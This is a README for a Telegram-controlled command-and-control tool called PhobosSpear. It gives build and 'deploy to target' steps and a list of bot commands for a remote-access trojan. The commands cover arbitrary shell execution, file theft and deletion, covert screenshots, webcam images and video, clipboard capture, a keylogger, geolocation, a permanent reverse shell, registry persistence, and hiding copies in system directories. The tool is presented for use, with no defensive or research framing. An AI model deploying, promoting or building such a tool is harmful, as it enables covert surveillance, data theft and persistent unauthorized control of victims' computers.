PhobosSpear is a cutting-edge Telegram-based Command and Control (C2) system, named after the Greek god of fear, Phobos.

Installation

• Create a telegram bot

• Edit PhobosSpear.py, set BOT_API_KEY to the bot's api key and telegram_user_id to your telegram id

• Install the following dependencies

  pip install -r requirements.txt

• Compile to standalone binary for easier deployment

  pip install -U pyinstaller

  git clone https://github.com/mkdirlove/PhobosSpear.git

  cd PhobosSpear

  pyinstaller PhobosSpear.py

• Deploy to target

• Start telegram bot

Usage

  Available Commands:

/start - Start the bot and display system info
/help - Show this help message
/cmd - Custom shell command

[ File & Directory Management ]
/viewFile <file_path> - View contents of a file
/listDir <dir_path> - List contents of a directory
/downloadFile <file_path> - Download a file from the system
/createFile <file_path> <content> - Create a new file with content
/deleteFile <file_path> - Delete a specified file

[ Screenshot & Camera ]
/screenshot - Take a screenshot of the system
/webcam - Capture an image from the system webcam
/recordVideo <duration_in_seconds> - Record a video from the webcam

[ Network & Process Info ]
/networkInfo - Display network information (IP, interfaces)
/services - List running services/processes
/killProcess <process_name_or_pid> - Kill a process by its name or PID0

[ Clipboard Commands ]
/getClipboard - Retrieve the contents of the clipboard

[ Keylogger Commands ]
/startKeylogger - Start logging keystrokes
/stopKeylogger - Stop logging keystrokes and send log file

[ Geolocation Command ]
/getLocation - Get the device's location

[ Misc Commands ]
/revshell - Install permanent reverse shell using Gsocket (Linux/OSX)
/envInfo - Provide detailed system information
/downloadFile <file_path> - Download a specified file

[ Persistence Commands ]
/persist - Adds a registry entry to run on startup
/replicate - Copies the script to hidden/system directories (e.g., AppData, /etc/).